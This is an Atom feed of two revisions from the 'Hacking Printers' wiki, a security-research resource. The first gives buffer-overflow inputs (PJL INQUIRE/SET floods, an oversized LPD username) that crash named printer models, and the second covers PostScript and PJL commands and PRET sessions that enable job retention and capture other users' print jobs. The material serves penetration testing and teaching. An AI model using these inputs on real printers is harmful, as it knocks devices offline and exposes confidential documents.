<?xml version="1.0"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="en">
		<id>http://hacking-printers.net/wiki/api.php?action=feedcontributions&amp;feedformat=atom&amp;user=134.147.24.11</id>
		<title>Hacking Printers - User contributions [en]</title>
		<link rel="self" type="application/atom+xml" href="http://hacking-printers.net/wiki/api.php?action=feedcontributions&amp;feedformat=atom&amp;user=134.147.24.11"/>
		<link rel="alternate" type="text/html" href="http://hacking-printers.net/wiki/index.php?title=Special:Contributions/134.147.24.11"/>
		<updated>2026-06-22T14:52:44Z</updated>
		<subtitle>User contributions</subtitle>
		<generator>MediaWiki 1.26.4</generator>

	<entry>
		<id>http://hacking-printers.net/wiki/index.php?title=Buffer_overflows&amp;diff=289</id>
		<title>Buffer overflows</title>
		<link rel="alternate" type="text/html" href="http://hacking-printers.net/wiki/index.php?title=Buffer_overflows&amp;diff=289"/>
				<updated>2017-01-28T19:02:19Z</updated>
		
		<summary type="html">&lt;p&gt;134.147.24.11: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;While the risk of [https://en.wikipedia.org/wiki/Buffer_overflow buffer overflows] is well-known &amp;lt;ref&amp;gt;''[http://phrack.org/issues/49/14.html Smashing The Stack For Fun And Profit]'', Aleph One, Phrack magazine #49, 1996, p. 14-16&amp;lt;/ref&amp;gt; and not limited to printers, it must be noted that printers provide additional languages and network services, potentially prone to this kind of attack. Exploitation may lead to denial of service or – given correct shellcode and return address – even to remote code execution. Buffer overflows are particularly dangerous on embedded devices, as they may have no protection mechanisms like [https://en.wikipedia.org/wiki/Address_space_layout_randomization ASLR], [https://en.wikipedia.org/wiki/NX_bit NX/DEP] or user separation, so all executed code is run as superuser.&lt;br /&gt;
&lt;br /&gt;
== PJL input ==&lt;br /&gt;
&lt;br /&gt;
[[PJL]] processors may be vulnerable to buffer overflows if the given input exceeds the buffer size. For example, various ''Lexmark'' laser printers crash when when receiving about 1.000 characters as the ''INQUIRE'' argument (see [https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-0619 CVE-2010-0619]):&lt;br /&gt;
&lt;br /&gt;
 @PJL INQUIRE 00000000000000000000000000000000000000000000000000000…&lt;br /&gt;
&lt;br /&gt;
Sending about 3.000 characters as the ''SET'' argument to the ''Dell 1720n'' crashes the device and requires a manual restart to get the printer back to life:&lt;br /&gt;
&lt;br /&gt;
 @PJL SET 000000000000000000000000000000000000000000000000000000000…&lt;br /&gt;
&lt;br /&gt;
'''How to test for this attack?'''&lt;br /&gt;
&lt;br /&gt;
Buffer overflows in PJL input can be tested using [[PRET]]'s ''flood'' command which sends large amounts of data to all arguments specified in the PJL reference &amp;lt;ref&amp;gt;''[http://h10032.www1.hp.com/ctg/Manual/bpl13208.pdf Printer Job Language Technical Reference Manual]'', HP Inc., 1997&amp;lt;/ref&amp;gt; and all PJL variables dynamically retrieved from the system:&lt;br /&gt;
&lt;br /&gt;
 ./pret.py -q printer pjl&lt;br /&gt;
 Connection to printer established&lt;br /&gt;
 &lt;br /&gt;
 Welcome to the pret shell. Type help or ? to list commands.&lt;br /&gt;
 printer:/&amp;gt; flood&lt;br /&gt;
 Buffer size: 10000, Sending: @PJL SET [buffer]&lt;br /&gt;
 Buffer size: 10000, Sending: @PJL [buffer]&lt;br /&gt;
 Buffer size: 10000, Sending: @PJL COMMENT [buffer]&lt;br /&gt;
 Buffer size: 10000, Sending: @PJL ENTER LANGUAGE=[buffer]&lt;br /&gt;
 Buffer size: 10000, Sending: @PJL JOB NAME=&amp;quot;[buffer]&amp;quot;&lt;br /&gt;
 Buffer size: 10000, Sending: @PJL EOJ NAME=&amp;quot;[buffer]&amp;quot;&lt;br /&gt;
 Buffer size: 10000, Sending: @PJL INFO [buffer]&lt;br /&gt;
 Buffer size: 10000, Sending: @PJL ECHO [buffer]&lt;br /&gt;
 Buffer size: 10000, Sending: @PJL INQUIRE [buffer]&lt;br /&gt;
 Buffer size: 10000, Sending: @PJL DINQUIRE [buffer]&lt;br /&gt;
 Buffer size: 10000, Sending: @PJL USTATUS [buffer]&lt;br /&gt;
 Buffer size: 10000, Sending: @PJL RDYMSG DISPLAY=&amp;quot;[buffer]&amp;quot;&lt;br /&gt;
 Buffer size: 10000, Sending: @PJL FSQUERY NAME=&amp;quot;[buffer]&amp;quot;&lt;br /&gt;
 Buffer size: 10000, Sending: @PJL FSDIRLIST NAME=&amp;quot;[buffer]&amp;quot;&lt;br /&gt;
 Buffer size: 10000, Sending: @PJL FSINIT VOLUME=&amp;quot;[buffer]&amp;quot;&lt;br /&gt;
 Buffer size: 10000, Sending: @PJL FSMKDIR NAME=&amp;quot;[buffer]&amp;quot;&lt;br /&gt;
 Buffer size: 10000, Sending: @PJL FSUPLOAD NAME=&amp;quot;[buffer]&amp;quot;&lt;br /&gt;
&lt;br /&gt;
'''Who can perform this attack?'''&lt;br /&gt;
&lt;br /&gt;
Anyone who can print, for example through [[USB drive or cable]], [[Port 9100 printing]] or [[Cross-site printing]].&lt;br /&gt;
&lt;br /&gt;
== LPD daemon ==&lt;br /&gt;
&lt;br /&gt;
The [[LPD]] protocol seems particularly interesting when testing for buffer overflows, because it allows multiple user-defined vectors like ''jobname'', ''username'' or ''hostname'', which may not be sufficiently protected. Sending more characters than allowed by the LPD specification &amp;lt;ref&amp;gt;''[https://www.ietf.org/rfc/rfc1179.txt RFC1179: Line Printer Daemon Protocol]'', L. McLaughlin, 1990&amp;lt;/ref&amp;gt; may result in an overflow. For example, receiving 150 characters and more as ''username'' operator of the control file's &amp;lt;code&amp;gt;L&amp;lt;/code&amp;gt; command (''print banner page'') completely crashes the ''HP LaserJet 1200'', the ''HP LaserJet 4200N'', the ''HP LaserJet 4250N'', the ''Dell 3110cn'', the ''Kyocera FS-C5200DN'' as well as the ''Samsung MultiPress 6345N'' and requires a manual restart to get the printers back to life. A network traffic dump for this attack is given below:&lt;br /&gt;
&lt;br /&gt;
 &amp;gt; 02 6c 70 0a                                    .lp.&lt;br /&gt;
 &amp;lt; 00                                             .&lt;br /&gt;
 &amp;gt; 02 31 35 32 20 63 66 41 30 30 31 0a            .152 cfA001.&lt;br /&gt;
 &amp;lt; 00                                             .&lt;br /&gt;
 &amp;gt; 4c 78 78 78 78 78 78 78 78 78 78 78 78 78 78 78 Lxxxxxxxxxxxxxxx&lt;br /&gt;
 &amp;gt; 78 78 78 78 78 78 78 78 78 78 78 78 78 78 78 78 xxxxxxxxxxxxxxxx&lt;br /&gt;
 &amp;gt; 78 78 78 78 78 78 78 78 78 78 78 78 78 78 78 78 xxxxxxxxxxxxxxxx&lt;br /&gt;
 &amp;gt; 78 78 78 78 78 78 78 78 78 78 78 78 78 78 78 78 xxxxxxxxxxxxxxxx&lt;br /&gt;
 &amp;gt; 78 78 78 78 78 78 78 78 78 78 78 78 78 78 78 78 xxxxxxxxxxxxxxxx&lt;br /&gt;
 &amp;gt; 78 78 78 78 78 78 78 78 78 78 78 78 78 78 78 78 xxxxxxxxxxxxxxxx&lt;br /&gt;
 &amp;gt; 78 78 78 78 78 78 78 78 78 78 78 78 78 78 78 78 xxxxxxxxxxxxxxxx&lt;br /&gt;
 &amp;gt; 78 78 78 78 78 78 78 78 78 78 78 78 78 78 78 78 xxxxxxxxxxxxxxxx&lt;br /&gt;
 &amp;gt; 78 78 78 78 78 78 78 78 78 78 78 78 78 78 78 78 xxxxxxxxxxxxxxxx&lt;br /&gt;
 &amp;gt; 78 78 78 78 78 78 78 0a 00                      xxxxxxx..&lt;br /&gt;
&lt;br /&gt;
'''How to test for this attack?'''&lt;br /&gt;
&lt;br /&gt;
A simple LPD fuzzer to test for buffer overflows can be created using the ''lpdtest'' tool included in [[PRET]]. The &amp;lt;code&amp;gt;in&amp;lt;/code&amp;gt; argument sets all user inputs defined by the LPD protocol to a certain value (in this case, Python output):&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=sh&amp;gt;&lt;br /&gt;
./lpdtest.py printer in &amp;quot;`python -c 'print &amp;quot;x&amp;quot;*150'`&amp;quot;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''Who can perform this attack?'''&lt;br /&gt;
&lt;br /&gt;
Anyone who can access the LPD daemon through a network. Note that a web attacker can only exploit this flaw if cross-protocol scripting to port 515/tcp is allowed by the web browser (for example, Internet Explorer 10). Most browsers however block access to the LPD port by default (see [[Cross-site printing]]).&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
-------------&lt;/div&gt;</summary>
		<author><name>134.147.24.11</name></author>	</entry>

	<entry>
		<id>http://hacking-printers.net/wiki/index.php?title=Print_job_retention&amp;diff=288</id>
		<title>Print job retention</title>
		<link rel="alternate" type="text/html" href="http://hacking-printers.net/wiki/index.php?title=Print_job_retention&amp;diff=288"/>
				<updated>2017-01-28T18:54:04Z</updated>
		
		<summary type="html">&lt;p&gt;134.147.24.11: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;The most valuable data found on printers is print jobs themselves. Even in a digital world, important documents are printed and kept as hard copies. In high security environments with encrypted hard disks and network traffic, printers might be the weakest link in the security chain. However, even with access to the file system of a printer device an attacker cannot retrieve print jobs unless they have explicitly been stored. This is because print jobs are processed on-the-fly in memory only and never touch the hard disk. This article discusses legitimate print job retention features and methods to actively capture documents to being printed.&lt;br /&gt;
&lt;br /&gt;
== Job Retention ==&lt;br /&gt;
&lt;br /&gt;
Some printers have stored print jobs accessible from the web server (for example, the ''HP DesignJet Z6100ps''). Usually however, job retention must be explicitly activated for a certain print job which can be done using standard PJL commands or proprietary PostScript code. Jobs are then kept in memory and can be reprinted from the control panel.&lt;br /&gt;
&lt;br /&gt;
=== PJL ===&lt;br /&gt;
&lt;br /&gt;
Legitimate job retention can be enabled for the current document by setting the PJL ''HOLD'' variable &amp;lt;ref&amp;gt;''[http://h10032.www1.hp.com/ctg/Manual/bpl13208.pdf Printer Job Language Technical Reference Manual]'', HP Inc., 1997, ch. 10-2&amp;lt;/ref&amp;gt; as shown below:&lt;br /&gt;
&lt;br /&gt;
 @PJL SET HOLD=ON&lt;br /&gt;
 [actual data to be printed follows]&lt;br /&gt;
&lt;br /&gt;
Hold jobs are kept in memory and can be reprinted from the printer's control panel. This feature is supported by various printers, however as it seems only some Epson devices allow permanent job retention beeing set using &amp;lt;code&amp;gt;@PJL DEFAULT HOLD=ON&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
'''How to test for this attack?'''&lt;br /&gt;
&lt;br /&gt;
Use [[PRET]]'s ''hold'' command in ''pjl'' mode and to check if permanent job retention can be set:&lt;br /&gt;
&lt;br /&gt;
 ./pret.py -q printer pjl&lt;br /&gt;
 Connection to printer established&lt;br /&gt;
 &lt;br /&gt;
 Welcome to the pret shell. Type help or ? to list commands.&lt;br /&gt;
 printer:/&amp;gt; hold&lt;br /&gt;
 Setting job retention, reconnecting to see if still enabled&lt;br /&gt;
 Retention for future print jobs: OFF&lt;br /&gt;
&lt;br /&gt;
'''Who can perform this attack?'''&lt;br /&gt;
&lt;br /&gt;
This feature can only be exploited by a physical/local attacker to reprint stored jobs.&lt;br /&gt;
&lt;br /&gt;
=== PostScript ===&lt;br /&gt;
&lt;br /&gt;
PostScript offers similar functionality which however is model- and vendor-specific. For the HP LaserJet 4k series and various Kyocera printers, job retention can be enabled by prepending the following commands to a PostScript document:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=postscript&amp;gt;&lt;br /&gt;
&amp;lt;&amp;lt; /Collate true /CollateDetails&lt;br /&gt;
&amp;lt;&amp;lt; /Hold 1 /Type 8 &amp;gt;&amp;gt; &amp;gt;&amp;gt; setpagedevice&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
While it is theoretically possible to permanently enable PostScript job retention using the [[PostScript#Security_features|startjob]] operator, this setting is explicitly reset by ''CUPS'' at the beginning of each print job using &amp;lt;code&amp;gt;&amp;lt;&amp;lt; /Collate false &amp;gt;&amp;gt; setpagedevice&amp;lt;/code&amp;gt;. To counter this protection mechanism however, the attacker can permanently redefine the &amp;lt;code&amp;gt;setpagedevice&amp;lt;/code&amp;gt; operator to have no effect at all.&lt;br /&gt;
&lt;br /&gt;
'''How to test for this attack?'''&lt;br /&gt;
&lt;br /&gt;
Use [[PRET]]'s ''hold'' command in ''ps'' mode:&lt;br /&gt;
&lt;br /&gt;
 ./pret.py -q printer ps&lt;br /&gt;
 Connection to printer established&lt;br /&gt;
 &lt;br /&gt;
 Welcome to the pret shell. Type help or ? to list commands.&lt;br /&gt;
 printer:/&amp;gt; hold&lt;br /&gt;
 Job retention enabled.&lt;br /&gt;
&lt;br /&gt;
'''Who can perform this attack?'''&lt;br /&gt;
&lt;br /&gt;
This feature can only be exploited by a physical/local attacker to reprint stored jobs.&lt;br /&gt;
&lt;br /&gt;
== Job Capture ==&lt;br /&gt;
&lt;br /&gt;
It is possible but uncommon to activate job retention in the printing dialog as discussed above. With PostScript however, one has complete access over the current print job and with the [[PostScript#Security_features|startjob]] operator, it is even possible to break out of the server loop and access future jobs. Such functionality has the potential to capture all documents if PostScript is used as a printer driver.&lt;br /&gt;
&lt;br /&gt;
=== PostScript ===&lt;br /&gt;
&lt;br /&gt;
With the capability to hook into arbitrary PostScript operators it is possible to manipulate and access foreign print jobs. To parse the actual datastream send to the printer, one can apply a pretty cool feature of the PostScript language: to read its own program code as data using the ''currentfile'' operator. This way, the whole datastream to be processed by the PostScript interpreter can be accessed by reading and stored to a file on the printer device. If the printer does not offer [[file system access]], captured documents can be stored in memory, for example within permanent PostScript dictionaries. One practical problem is to decide which operator should be hooked as one does not gain access to the datastream until this operator is processed by the PostScript interpreter. As an attacker wants to capture print jobs from the very beginning, the redefined operator must be the very first operator contained in the PostScript document. Fortunately all documents printed with CUPS are pressed into a fixed structure beginning with &amp;lt;code&amp;gt;currentfile /ASCII85Decode filter /LZWDecode filter cvx exec&amp;lt;/code&amp;gt;. Based on the assumption of such a fixed structure, the attacker can capture documents from the beginning and execute (aka print) the file afterwards. For printing systems other than CUPS this attack should also be possible, but operators need to be adapted. Note that the PostScript header which usually includes media size, user and job names cannot be captured using this method because we first hook into at the beginning of the actual document. Another possibility may be ''BeginPage'' if supported by the printer. This vulnerability has presumably been present in printing devices for decades as solely language constructs defined by the PostScript standard are abused.&lt;br /&gt;
&lt;br /&gt;
'''How to test for this attack?'''&lt;br /&gt;
&lt;br /&gt;
Use [[PRET]]'s ''capture'' command in ''ps'' mode:&lt;br /&gt;
&lt;br /&gt;
 ./pret.py -q printer ps&lt;br /&gt;
 Connection to printer established&lt;br /&gt;
 &lt;br /&gt;
 Welcome to the pret shell. Type help or ? to list commands.&lt;br /&gt;
 &lt;br /&gt;
 printer:/&amp;gt; capture &lt;br /&gt;
 Print job operations:  capture &amp;lt;operation&amp;gt;&lt;br /&gt;
   capture start   - Record future print jobs.&lt;br /&gt;
   capture stop    - End capturing print jobs.&lt;br /&gt;
   capture list    - Show captured print jobs.&lt;br /&gt;
   capture fetch   - Save captured print jobs.&lt;br /&gt;
   capture print   - Reprint saved print jobs.&lt;br /&gt;
 printer:/&amp;gt; capture start&lt;br /&gt;
 Future print jobs will be captured in memory!&lt;br /&gt;
 printer:/&amp;gt; exit&lt;br /&gt;
&lt;br /&gt;
Now, print arbitrary documents (make sure PRET is disconnected to not block the printing channel). Afterwards, you can list, fetch or reprint captured documents:&lt;br /&gt;
&lt;br /&gt;
 ./pret.py -q printer ps&lt;br /&gt;
 Connection to printer established&lt;br /&gt;
 &lt;br /&gt;
 Welcome to the pret shell. Type help or ? to list commands.&lt;br /&gt;
 printer:/&amp;gt; capture list&lt;br /&gt;
 Free virtual memory: 16.6M | Limit to capture:  5.0M&lt;br /&gt;
 date          size  user           jobname                 creator             &lt;br /&gt;
 ───────────────────────────────────────────────────────────────────────────────&lt;br /&gt;
 Jan 25 18:38  3.1M  -              -                       -                   &lt;br /&gt;
 Jan 25 18:40  170K  -              -                       -                   &lt;br /&gt;
 printer:/&amp;gt; capture fetch&lt;br /&gt;
 Receiving capture/printer/690782792&lt;br /&gt;
 3239748 bytes received. &lt;br /&gt;
 Receiving capture/printer/690646210&lt;br /&gt;
 174037 bytes received.&lt;br /&gt;
 printer:/&amp;gt; capture print&lt;br /&gt;
 printing...&lt;br /&gt;
 printing...&lt;br /&gt;
 2 jobs reprinted&lt;br /&gt;
 printer:/&amp;gt; capture stop&lt;br /&gt;
 Stopping job capture, deleting recorded jobs&lt;br /&gt;
&lt;br /&gt;
'''Who can perform this attack?'''&lt;br /&gt;
&lt;br /&gt;
Anyone who can print, for example through [[USB drive or cable]], [[Port 9100 printing]] or [[Cross-site printing]].&lt;/div&gt;</summary>
		<author><name>134.147.24.11</name></author>	</entry>

	</feed>